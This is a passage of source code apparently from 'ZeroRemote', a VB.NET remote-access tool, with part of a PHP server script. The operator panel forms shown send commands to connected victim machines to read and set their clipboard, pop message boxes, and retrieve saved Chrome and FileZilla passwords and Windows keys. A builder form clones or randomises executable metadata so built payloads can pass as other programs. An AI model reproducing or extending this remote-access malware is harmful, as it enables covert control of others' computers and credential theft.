| } 113 | } else { 114 | echo 'Connection error'; 115 | exit; 116 | } 117 | } 118 | 119 | function writeFile($filename, $data) { 120 | $open = fopen($filename, 'w'); 121 | fwrite($open, $data); 122 | fclose($open); 123 | echo 'Ok'; 124 | } 125 | // STFU. Strik3r! 126 | ?> -------------------------------------------------------------------------------- /Server/Server/My Project/Resources.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.18444 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | Imports System 15 | 16 | Namespace My.Resources 17 | 18 | 'This class was auto-generated by the StronglyTypedResourceBuilder 19 | 'class via a tool like ResGen or Visual Studio. 20 | 'To add or remove a member, edit your .ResX file then rerun ResGen 21 | 'with the /str option, or rebuild your VS project. 22 | ''' 23 | ''' A strongly-typed resource class, for looking up localized strings, etc. 24 | ''' 25 | _ 29 | Friend Module Resources 30 | 31 | Private resourceMan As Global.System.Resources.ResourceManager 32 | 33 | Private resourceCulture As Global.System.Globalization.CultureInfo 34 | 35 | ''' 36 | ''' Returns the cached ResourceManager instance used by this class. 37 | ''' 38 | _ 39 | Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager 40 | Get 41 | If Object.ReferenceEquals(resourceMan, Nothing) Then 42 | Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Server.Resources", GetType(Resources).Assembly) 43 | resourceMan = temp 44 | End If 45 | Return resourceMan 46 | End Get 47 | End Property 48 | 49 | ''' 50 | ''' Overrides the current thread's CurrentUICulture property for all 51 | ''' resource lookups using this strongly typed resource class. 52 | ''' 53 | _ 54 | Friend Property Culture() As Global.System.Globalization.CultureInfo 55 | Get 56 | Return resourceCulture 57 | End Get 58 | Set 59 | resourceCulture = value 60 | End Set 61 | End Property 62 | 63 | ''' 64 | ''' Looks up a localized string similar to . 65 | ''' 66 | Friend ReadOnly Property UniqueIDNumber() As String 67 | Get 68 | Return ResourceManager.GetString("UniqueIDNumber", resourceCulture) 69 | End Get 70 | End Property 71 | End Module 72 | End Namespace 73 | -------------------------------------------------------------------------------- /Server/Server/My Project/Settings.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.18444 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My 16 | 17 | _ 20 | Partial Friend NotInheritable Class MySettings 21 | Inherits Global.System.Configuration.ApplicationSettingsBase 22 | 23 | Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) 24 | 25 | #Region "My.Settings Auto-Save Functionality" 26 | #If _MyType = "WindowsForms" Then 27 | Private Shared addedHandler As Boolean 28 | 29 | Private Shared addedHandlerLockObject As New Object 30 | 31 | _ 32 | Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) 33 | If My.Application.SaveMySettingsOnExit Then 34 | My.Settings.Save() 35 | End If 36 | End Sub 37 | #End If 38 | #End Region 39 | 40 | Public Shared ReadOnly Property [Default]() As MySettings 41 | Get 42 | 43 | #If _MyType = "WindowsForms" Then 44 | If Not addedHandler Then 45 | SyncLock addedHandlerLockObject 46 | If Not addedHandler Then 47 | AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings 48 | addedHandler = True 49 | End If 50 | End SyncLock 51 | End If 52 | #End If 53 | Return defaultInstance 54 | End Get 55 | End Property 56 | 57 | _ 60 | Public Property UniqueIDNumber() As String 61 | Get 62 | Return CType(Me("UniqueIDNumber"),String) 63 | End Get 64 | Set 65 | Me("UniqueIDNumber") = value 66 | End Set 67 | End Property 68 | End Class 69 | End Namespace 70 | 71 | Namespace My 72 | 73 | _ 76 | Friend Module MySettingsProperty 77 | 78 | _ 79 | Friend ReadOnly Property Settings() As Global.Server.My.MySettings 80 | Get 81 | Return Global.Server.My.MySettings.Default 82 | End Get 83 | End Property 84 | End Module 85 | End Namespace 86 | -------------------------------------------------------------------------------- /Client/Client/Client/BuilderAssemblyInformation.vb: -------------------------------------------------------------------------------- 1 | Imports System.Text 2 | 3 | Public Class BuilderAssemblyInformation 4 | 5 | Protected Overrides ReadOnly Property CreateParams() As CreateParams 6 | Get 7 | Dim Param As CreateParams = MyBase.CreateParams 8 | Param.ClassStyle = Param.ClassStyle Or &H200 9 | Return Param 10 | End Get 11 | End Property 12 | 13 | Private Sub TextBox7_KeyPress(sender As Object, e As KeyPressEventArgs) Handles TextBoxAssemblyVersion.KeyPress 14 | Dim allowedChars As String = "0123456789." 15 | If Char.IsDigit(e.KeyChar) = False And Char.IsControl(e.KeyChar) = False And allowedChars.IndexOf(e.KeyChar) = -1 Then 16 | e.Handled = True 17 | End If 18 | End Sub 19 | 20 | Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click 21 | Me.Close() 22 | End Sub 23 | 24 | Private Function RandomString() As String 25 | Dim chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz" 26 | Dim random = New Random(Guid.NewGuid().GetHashCode()) 27 | Dim mystring = New String(Enumerable.Repeat(chars, 20).[Select](Function(s) s(random.[Next](s.Length))).ToArray()) 28 | Return mystring 29 | End Function 30 | 31 | ' Generate a random version string 32 | Private Function RandomVersion() As String 33 | Dim CharSet As String = "1234567890." 34 | Dim RandomMutex As New StringBuilder 35 | Dim rnd As New System.Random 36 | For i As Integer = 0 To 11 37 | 38 | If Not CharSet.ElementAt(rnd.Next(0, 11)) = "." AndAlso ((i = 0) Or (i = 11)) Then 39 | RandomMutex.Append(CharSet.ElementAt(rnd.Next(0, 10))) 40 | Else 41 | RandomMutex.Append(CharSet.ElementAt(rnd.Next(0, 11))) 42 | End If 43 | Next 44 | Return RandomMutex.ToString 45 | End Function 46 | 47 | Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click 48 | TextBoxAssemblyCompany.Text = RandomString() 49 | TextBoxAssemblyCopyright.Text = RandomString() 50 | TextBoxAssemblyDescription.Text = RandomString() 51 | TextBoxAssemblyProduct.Text = RandomString() 52 | TextBoxAssemblyTitle.Text = RandomString() 53 | TextBoxAssemblyTrademark.Text = RandomString() 54 | TextBoxAssemblyVersion.Text = RandomVersion() 55 | End Sub 56 | 57 | 58 | ' Clone assembly information of an existing file 59 | Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click 60 | Dim assemblypath As String = String.Empty 61 | Dim SelectAssemblyToCloneDialog As New OpenFileDialog 62 | SelectAssemblyToCloneDialog.Filter = "Executables |*.exe*" 63 | SelectAssemblyToCloneDialog.Multiselect = False 64 | SelectAssemblyToCloneDialog.Title = "Select Assembly to Clone" 65 | If SelectAssemblyToCloneDialog.ShowDialog = Windows.Forms.DialogResult.OK Then 66 | assemblypath = SelectAssemblyToCloneDialog.FileName 67 | Dim FileInfo As FileVersionInfo = FileVersionInfo.GetVersionInfo(assemblypath) 68 | TextBoxAssemblyCompany.Text = FileInfo.CompanyName 69 | TextBoxAssemblyCopyright.Text = FileInfo.LegalCopyright 70 | TextBoxAssemblyDescription.Text = FileInfo.FileDescription 71 | TextBoxAssemblyProduct.Text = FileInfo.ProductName 72 | TextBoxAssemblyTitle.Text = FileInfo.OriginalFilename 73 | TextBoxAssemblyTrademark.Text = FileInfo.LegalTrademarks 74 | TextBoxAssemblyVersion.Text = FileInfo.FileVersion 75 | Else 76 | Exit Sub 77 | End If 78 | End Sub 79 | End Class 80 | -------------------------------------------------------------------------------- /Client/Client/Client/MessageBoxManager.vb: -------------------------------------------------------------------------------- 1 | Public Class MessageBoxManager 2 | 3 | Private Sub MessageBoxManager_Load(sender As Object, e As EventArgs) Handles MyBase.Load 4 | ImageComboBoxMsgBoxIcons.Items.Clear() 5 | ImageComboBoxMsgBoxIcons.Items.Add(New ImageComboItem("None", New Font("Microsoft Sans Serif", 8), Color.Black, 0)) 6 | ImageComboBoxMsgBoxIcons.Items.Add(New ImageComboItem("Information", New Font("Microsoft Sans Serif", 8), Color.Black, 1)) 7 | ImageComboBoxMsgBoxIcons.Items.Add(New ImageComboItem("Question", New Font("Microsoft Sans Serif", 8), Color.Black, 2)) 8 | ImageComboBoxMsgBoxIcons.Items.Add(New ImageComboItem("Warning", New Font("Microsoft Sans Serif", 8), Color.Black, 3)) 9 | ImageComboBoxMsgBoxIcons.Items.Add(New ImageComboItem("Error", New Font("Microsoft Sans Serif", 8), Color.Black, 4)) 10 | ImageComboBoxMsgBoxIcons.SelectedIndex = 0 11 | ImageComboBoxMsgBoxButtons.SelectedIndex = 0 12 | End Sub 13 | 14 | 15 | Private Sub ButtonTest_Click(sender As Object, e As EventArgs) Handles ButtonTest.Click 16 | MessageBox.Show(TextBoxMessage.Text, TextBoxTitle.Text, ChooseButtons(CStr(ImageComboBoxMsgBoxButtons.SelectedIndex)), ChooseIcon(CStr(ImageComboBoxMsgBoxIcons.SelectedIndex))) 17 | End Sub 18 | 19 | Private Function ChooseIcon(ByVal Index As String) As MessageBoxIcon 20 | Select Case Index 21 | Case "0" 22 | Return MessageBoxIcon.None 23 | Case "1" 24 | Return MessageBoxIcon.Information 25 | Case "2" 26 | Return MessageBoxIcon.Question 27 | Case "3" 28 | Return MessageBoxIcon.Exclamation 29 | Case "4" 30 | Return MessageBoxIcon.Error 31 | Case Else 32 | Return MessageBoxIcon.None 33 | End Select 34 | End Function 35 | 36 | Private Function ChooseButtons(ByVal Index As String) As MessageBoxButtons 37 | Select Case Index 38 | Case "0" 39 | Return MessageBoxButtons.OK 40 | Case "1" 41 | Return MessageBoxButtons.OKCancel 42 | Case "2" 43 | Return MessageBoxButtons.AbortRetryIgnore 44 | Case "3" 45 | Return MessageBoxButtons.YesNo 46 | Case "4" 47 | Return MessageBoxButtons.YesNoCancel 48 | Case Else 49 | Return MessageBoxButtons.OK 50 | End Select 51 | End Function 52 | Private Sub ButtonSend_Click(sender As Object, e As EventArgs) Handles ButtonSend.Click 53 | If (TextBoxTitle.Text.Contains("|")) Or (TextBoxMessage.Text.Contains("|")) Then 54 | MsgBox("Please avoid this char '|' in your message.", MsgBoxStyle.Exclamation, "Invalid Message") 55 | Exit Sub 56 | Else 57 | If Main.ListViewMain.Items.Count > 0 Then 58 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _ 59 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text 60 | Else 61 | MsgBox("No Users online.", MsgBoxStyle.Exclamation) 62 | End If 63 | Dim SendString As String = TextBoxMessage.Text & "|||" & TextBoxTitle.Text & "|||" & ImageComboBoxMsgBoxIcons.SelectedIndex.ToString & "|||" & ImageComboBoxMsgBoxButtons.SelectedIndex.ToString 64 | Try 65 | Main.WriteData(SendString) 66 | Main.WriteCommand(Main.SelectedUserID & "|59") 67 | Waiting.ShowDialog() 68 | Catch x As Exception 69 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Create Folder") 70 | End Try 71 | End If 72 | End Sub 73 | End Class -------------------------------------------------------------------------------- /Client/Client/Client/PasswordRecovery.vb: -------------------------------------------------------------------------------- 1 | Public Class PasswordRecovery 2 | 3 | Private Sub CheckBoxConfirmUsage_CheckedChanged(sender As Object, e As EventArgs) Handles CheckBoxConfirmUsage.CheckedChanged 4 | If CheckBoxConfirmUsage.Checked Then 5 | Button1.Enabled = True 6 | ListViewPasswords.Enabled = True 7 | Else 8 | ListViewPasswords.Items.Clear() 9 | Button1.Enabled = False 10 | ListViewPasswords.Enabled = False 11 | End If 12 | End Sub 13 | 14 | Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click 15 | Settings.AddLog("Pending", Settings.State.Pending, "Requesting passwords...") 16 | ListViewPasswords.Items.Clear() 17 | If Main.ListViewMain.Items.Count > 0 Then 18 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _ 19 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text 20 | Else 21 | MsgBox("No Users online.", MsgBoxStyle.Exclamation) 22 | End If 23 | Try 24 | Main.WriteCommand(Main.SelectedUserID & "|63") 25 | Waiting.ShowDialog() 26 | Catch x As Exception 27 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Passwordmanager") 28 | End Try 29 | End Sub 30 | 31 | Private Sub LinkLabel1_LinkClicked(sender As Object, e As LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked 32 | Settings.TabControl1.SelectedIndex = 0 33 | Settings.ShowDialog() 34 | End Sub 35 | 36 | Public Sub SplitData(ByVal Data As String) 37 | If Data = Nothing Then 38 | MsgBox("Couldn't recieve data. Please retry.", MsgBoxStyle.Exclamation) 39 | Exit Sub 40 | End If 41 | ListViewPasswords.Items.Clear() 42 | 43 | 'Split recieved data into lsitview 44 | 45 | Dim lines() = Data.Split({"||||"}, StringSplitOptions.None) 46 | For Each line In lines 47 | Dim parts() = line.Split({"|||"}, StringSplitOptions.None) 48 | Dim item = ListViewPasswords.Items.Add(parts(0), 0) 49 | For i = 1 To Math.Min(parts.Length - 1, 3) 50 | Dim PIDcheck As String = parts(i) 51 | item.SubItems.Add(parts(i)) 52 | Next 53 | Next 54 | For Each item As ListViewItem In ListViewPasswords.Items 55 | If item.Text = "Chrome" Then 56 | item.ImageIndex = 0 57 | ElseIf item.Text = "FileZilla" Then 58 | item.ImageIndex = 1 59 | ElseIf item.Text = "Windowskey" Then 60 | item.ImageIndex = 2 61 | End If 62 | If (String.IsNullOrWhiteSpace(item.Text) Or String.IsNullOrEmpty(item.Text)) Then 63 | item.Remove() 64 | End If 65 | Next 66 | End Sub 67 | 68 | 69 | Private Sub Label2_Click(sender As Object, e As EventArgs) Handles Label2.Click 70 | If CheckBoxConfirmUsage.Checked = False Then 71 | CheckBoxConfirmUsage.Checked = True 72 | Else 73 | CheckBoxConfirmUsage.Checked = False 74 | End If 75 | End Sub 76 | Private Sub Label1_Click(sender As Object, e As EventArgs) Handles Label1.Click 77 | If CheckBoxConfirmUsage.Checked = False Then 78 | CheckBoxConfirmUsage.Checked = True 79 | Else 80 | CheckBoxConfirmUsage.Checked = False 81 | End If 82 | End Sub 83 | Private Sub Label3_Click(sender As Object, e As EventArgs) Handles Label3.Click 84 | If CheckBoxConfirmUsage.Checked = False Then 85 | CheckBoxConfirmUsage.Checked = True 86 | Else 87 | CheckBoxConfirmUsage.Checked = False 88 | End If 89 | End Sub 90 | End Class -------------------------------------------------------------------------------- /Client/Client/Client/Clipboard.Designer.vb: -------------------------------------------------------------------------------- 1 | _ 2 | Partial Class Clipboard 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Clipboard)) 26 | Me.RichTextBoxClipboard = New System.Windows.Forms.RichTextBox() 27 | Me.ButtonGetText = New System.Windows.Forms.Button() 28 | Me.ButtonSetText = New System.Windows.Forms.Button() 29 | Me.SuspendLayout() 30 | ' 31 | 'RichTextBoxClipboard 32 | ' 33 | Me.RichTextBoxClipboard.Location = New System.Drawing.Point(12, 12) 34 | Me.RichTextBoxClipboard.Name = "RichTextBoxClipboard" 35 | Me.RichTextBoxClipboard.Size = New System.Drawing.Size(270, 143) 36 | Me.RichTextBoxClipboard.TabIndex = 2 37 | Me.RichTextBoxClipboard.Text = "" 38 | ' 39 | 'ButtonGetText 40 | ' 41 | Me.ButtonGetText.Image = CType(resources.GetObject("ButtonGetText.Image"), System.Drawing.Image) 42 | Me.ButtonGetText.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft 43 | Me.ButtonGetText.Location = New System.Drawing.Point(117, 161) 44 | Me.ButtonGetText.Name = "ButtonGetText" 45 | Me.ButtonGetText.Size = New System.Drawing.Size(99, 24) 46 | Me.ButtonGetText.TabIndex = 1 47 | Me.ButtonGetText.Text = "Get Text" 48 | Me.ButtonGetText.UseVisualStyleBackColor = True 49 | ' 50 | 'ButtonSetText 51 | ' 52 | Me.ButtonSetText.Image = CType(resources.GetObject("ButtonSetText.Image"), System.Drawing.Image) 53 | Me.ButtonSetText.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft 54 | Me.ButtonSetText.Location = New System.Drawing.Point(12, 161) 55 | Me.ButtonSetText.Name = "ButtonSetText" 56 | Me.ButtonSetText.Size = New System.Drawing.Size(99, 24) 57 | Me.ButtonSetText.TabIndex = 0 58 | Me.ButtonSetText.Text = "Set Text" 59 | Me.ButtonSetText.UseVisualStyleBackColor = True 60 | ' 61 | 'Clipboard 62 | ' 63 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 64 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 65 | Me.ClientSize = New System.Drawing.Size(293, 192) 66 | Me.Controls.Add(Me.RichTextBoxClipboard) 67 | Me.Controls.Add(Me.ButtonGetText) 68 | Me.Controls.Add(Me.ButtonSetText) 69 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle 70 | Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) 71 | Me.MaximizeBox = False 72 | Me.MinimizeBox = False 73 | Me.Name = "Clipboard" 74 | Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent 75 | Me.Text = "Clipboard" 76 | Me.TopMost = True 77 | Me.ResumeLayout(False) 78 | 79 | End Sub 80 | Friend WithEvents ButtonSetText As System.Windows.Forms.Button 81 | Friend WithEvents ButtonGetText As System.Windows.Forms.Button 82 | Friend WithEvents RichTextBoxClipboard As System.Windows.Forms.RichTextBox 83 | End Class 84 | -------------------------------------------------------------------------------- /Client/Client/Client/IconComboBox.vb: -------------------------------------------------------------------------------- 1 | Imports System.Windows.Forms 2 | Imports System.Drawing 3 | 4 | Public Class ImageComboBox 5 | Inherits ComboBox 6 | 7 | Private mImageList As ImageList = Nothing 8 | 9 | Sub New() 10 | Me.DrawMode = Windows.Forms.DrawMode.OwnerDrawFixed 11 | End Sub 12 | 13 | Public Property ImageList() As ImageList 14 | Get 15 | Return mImageList 16 | End Get 17 | Set(ByVal value As ImageList) 18 | mImageList = value 19 | End Set 20 | End Property 21 | 22 | Protected Overrides Sub OnDrawItem(ByVal e As System.Windows.Forms.DrawItemEventArgs) 23 | MyBase.OnDrawItem(e) 24 | 25 | e.DrawBackground() 26 | e.DrawFocusRectangle() 27 | 28 | If e.Index >= 0 Then 29 | 30 | If TypeOf Me.Items(e.Index) Is ImageComboItem Then 31 | If mImageList IsNot Nothing Then 32 | Dim CurrItem As ImageComboItem = DirectCast(Me.Items(e.Index), ImageComboItem) 33 | 34 | If CurrItem.ImageIndex <> -1 Then 35 | Me.ImageList.Draw(e.Graphics, e.Bounds.Left, e.Bounds.Top, CurrItem.ImageIndex) 36 | e.Graphics.DrawString(CurrItem.Text, CurrItem.Font, _ 37 | New SolidBrush(CType(CurrItem.ForeColor, Color)), _ 38 | e.Bounds.Left + mImageList.ImageSize.Width, e.Bounds.Top) 39 | Else 40 | e.Graphics.DrawString(CurrItem.Text, CurrItem.Font, _ 41 | New SolidBrush(CType(CurrItem.ForeColor, Color)), _ 42 | e.Bounds.Left + mImageList.ImageSize.Width, e.Bounds.Top) 43 | End If 44 | End If 45 | Else 46 | e.Graphics.DrawString(Me.Items(e.Index).ToString(), e.Font, _ 47 | New SolidBrush(e.ForeColor), e.Bounds.Left, e.Bounds.Top) 48 | End If 49 | End If 50 | End Sub 51 | End Class 52 | 53 | Public Class ImageComboItem 54 | Private mForeColor As Color = Color.Black 55 | Private mImageIndex As Integer = -1 56 | Private mTag As Object = Nothing 57 | Private mText As String = "" 58 | Private mFont As Font 59 | 60 | Sub New(ByVal Text As String, ByVal Font As Font, ByVal ForeColor As Color) 61 | mText = Text 62 | mFont = Font 63 | mForeColor = ForeColor 64 | End Sub 65 | 66 | Sub New(ByVal Text As String, ByVal Font As Font, _ 67 | ByVal ForeColor As Color, ByVal ImageIndex As Integer) 68 | mText = Text 69 | mFont = Font 70 | mForeColor = ForeColor 71 | mImageIndex = ImageIndex 72 | End Sub 73 | 74 | Public Property ForeColor() As Color 75 | Get 76 | Return mForeColor 77 | End Get 78 | Set(ByVal value As Color) 79 | mForeColor = CType(value, Color) 80 | End Set 81 | End Property 82 | 83 | Public Property ImageIndex() As Integer 84 | Get 85 | Return mImageIndex 86 | End Get 87 | Set(ByVal value As Integer) 88 | mImageIndex = value 89 | End Set 90 | End Property 91 | 92 | Public Property Tag() As Object 93 | Get 94 | Return mTag 95 | End Get 96 | Set(ByVal value As Object) 97 | mTag = value 98 | End Set 99 | End Property 100 | 101 | Public Property Text() As String 102 | Get 103 | Return mText 104 | End Get 105 | Set(ByVal value As String) 106 | mText = value 107 | End Set 108 | End Property 109 | 110 | Public Property Font() As Font 111 | Get 112 | Return mFont 113 | End Get 114 | Set(ByVal value As Font) 115 | mFont = value 116 | End Set 117 | End Property 118 | 119 | Public Overrides Function ToString() As String 120 | Return mText 121 | End Function 122 | End Class -------------------------------------------------------------------------------- /Client/Client/Client/NotificationGlobalMessage.Designer.vb: -------------------------------------------------------------------------------- 1 | _ 2 | Partial Class NotificationGlobalMessage 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(NotificationGlobalMessage)) 26 | Me.LabelInfo = New System.Windows.Forms.Label() 27 | Me.LabelTitle = New System.Windows.Forms.Label() 28 | Me.PictureBox1 = New System.Windows.Forms.PictureBox() 29 | CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit() 30 | Me.SuspendLayout() 31 | ' 32 | 'LabelInfo 33 | ' 34 | Me.LabelInfo.AutoSize = True 35 | Me.LabelInfo.Font = New System.Drawing.Font("Verdana", 6.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) 36 | Me.LabelInfo.Location = New System.Drawing.Point(70, 34) 37 | Me.LabelInfo.Name = "LabelInfo" 38 | Me.LabelInfo.Size = New System.Drawing.Size(97, 12) 39 | Me.LabelInfo.TabIndex = 7 40 | Me.LabelInfo.Text = "{Global Message}" 41 | ' 42 | 'LabelTitle 43 | ' 44 | Me.LabelTitle.AutoSize = True 45 | Me.LabelTitle.Font = New System.Drawing.Font("Verdana", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) 46 | Me.LabelTitle.ForeColor = System.Drawing.SystemColors.ControlDarkDark 47 | Me.LabelTitle.Location = New System.Drawing.Point(5, 7) 48 | Me.LabelTitle.Name = "LabelTitle" 49 | Me.LabelTitle.Size = New System.Drawing.Size(180, 13) 50 | Me.LabelTitle.TabIndex = 9 51 | Me.LabelTitle.Text = "ZeroRemote - Global Message" 52 | ' 53 | 'PictureBox1 54 | ' 55 | Me.PictureBox1.Image = CType(resources.GetObject("PictureBox1.Image"), System.Drawing.Image) 56 | Me.PictureBox1.Location = New System.Drawing.Point(8, 34) 57 | Me.PictureBox1.Name = "PictureBox1" 58 | Me.PictureBox1.Size = New System.Drawing.Size(48, 48) 59 | Me.PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize 60 | Me.PictureBox1.TabIndex = 8 61 | Me.PictureBox1.TabStop = False 62 | ' 63 | 'NotificationGlobalMessage 64 | ' 65 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 66 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 67 | Me.ClientSize = New System.Drawing.Size(277, 105) 68 | Me.Controls.Add(Me.LabelTitle) 69 | Me.Controls.Add(Me.PictureBox1) 70 | Me.Controls.Add(Me.LabelInfo) 71 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None 72 | Me.Name = "NotificationGlobalMessage" 73 | Me.ShowInTaskbar = False 74 | Me.Text = "Notification" 75 | Me.TopMost = True 76 | CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).EndInit() 77 | Me.ResumeLayout(False) 78 | Me.PerformLayout() 79 | 80 | End Sub 81 | Friend WithEvents LabelInfo As System.Windows.Forms.Label 82 | Friend WithEvents PictureBox1 As System.Windows.Forms.PictureBox 83 | Friend WithEvents LabelTitle As System.Windows.Forms.Label 84 | End Class 85 | -------------------------------------------------------------------------------- /Client/Client/Client/Waiting.Designer.vb: -------------------------------------------------------------------------------- 1 | _ 2 | Partial Class Waiting 3 | Inherits System.Windows.Forms.Form 4 | 5 | 'Form overrides dispose to clean up the component list. 6 | _ 7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean) 8 | Try 9 | If disposing AndAlso components IsNot Nothing Then 10 | components.Dispose() 11 | End If 12 | Finally 13 | MyBase.Dispose(disposing) 14 | End Try 15 | End Sub 16 | 17 | 'Required by the Windows Form Designer 18 | Private components As System.ComponentModel.IContainer 19 | 20 | 'NOTE: The following procedure is required by the Windows Form Designer 21 | 'It can be modified using the Windows Form Designer. 22 | 'Do not modify it using the code editor. 23 | _ 24 | Private Sub InitializeComponent() 25 | Me.components = New System.ComponentModel.Container() 26 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Waiting)) 27 | Me.ProgressBar1 = New System.Windows.Forms.ProgressBar() 28 | Me.LabelLoadingStatus = New System.Windows.Forms.Label() 29 | Me.TimerResponseTime = New System.Windows.Forms.Timer(Me.components) 30 | Me.PictureBox1 = New System.Windows.Forms.PictureBox() 31 | CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit() 32 | Me.SuspendLayout() 33 | ' 34 | 'ProgressBar1 35 | ' 36 | Me.ProgressBar1.Location = New System.Drawing.Point(12, 37) 37 | Me.ProgressBar1.Name = "ProgressBar1" 38 | Me.ProgressBar1.Size = New System.Drawing.Size(174, 20) 39 | Me.ProgressBar1.TabIndex = 0 40 | ' 41 | 'LabelLoadingStatus 42 | ' 43 | Me.LabelLoadingStatus.AutoSize = True 44 | Me.LabelLoadingStatus.Font = New System.Drawing.Font("Verdana", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) 45 | Me.LabelLoadingStatus.Location = New System.Drawing.Point(44, 13) 46 | Me.LabelLoadingStatus.Name = "LabelLoadingStatus" 47 | Me.LabelLoadingStatus.Size = New System.Drawing.Size(63, 13) 48 | Me.LabelLoadingStatus.TabIndex = 1 49 | Me.LabelLoadingStatus.Text = "Loading..." 50 | ' 51 | 'TimerResponseTime 52 | ' 53 | Me.TimerResponseTime.Interval = 10000 54 | ' 55 | 'PictureBox1 56 | ' 57 | Me.PictureBox1.Image = CType(resources.GetObject("PictureBox1.Image"), System.Drawing.Image) 58 | Me.PictureBox1.Location = New System.Drawing.Point(13, 10) 59 | Me.PictureBox1.Name = "PictureBox1" 60 | Me.PictureBox1.Size = New System.Drawing.Size(20, 19) 61 | Me.PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.CenterImage 62 | Me.PictureBox1.TabIndex = 2 63 | Me.PictureBox1.TabStop = False 64 | ' 65 | 'Waiting 66 | ' 67 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) 68 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font 69 | Me.ClientSize = New System.Drawing.Size(198, 69) 70 | Me.ControlBox = False 71 | Me.Controls.Add(Me.PictureBox1) 72 | Me.Controls.Add(Me.LabelLoadingStatus) 73 | Me.Controls.Add(Me.ProgressBar1) 74 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedToolWindow 75 | Me.MaximizeBox = False 76 | Me.MinimizeBox = False 77 | Me.Name = "Waiting" 78 | Me.ShowIcon = False 79 | Me.ShowInTaskbar = False 80 | Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent 81 | Me.Text = "Loading..." 82 | Me.TopMost = True 83 | CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).EndInit() 84 | Me.ResumeLayout(False) 85 | Me.PerformLayout() 86 | 87 | End Sub 88 | Friend WithEvents ProgressBar1 As System.Windows.Forms.ProgressBar 89 | Friend WithEvents LabelLoadingStatus As System.Windows.Forms.Label 90 | Friend WithEvents PictureBox1 As 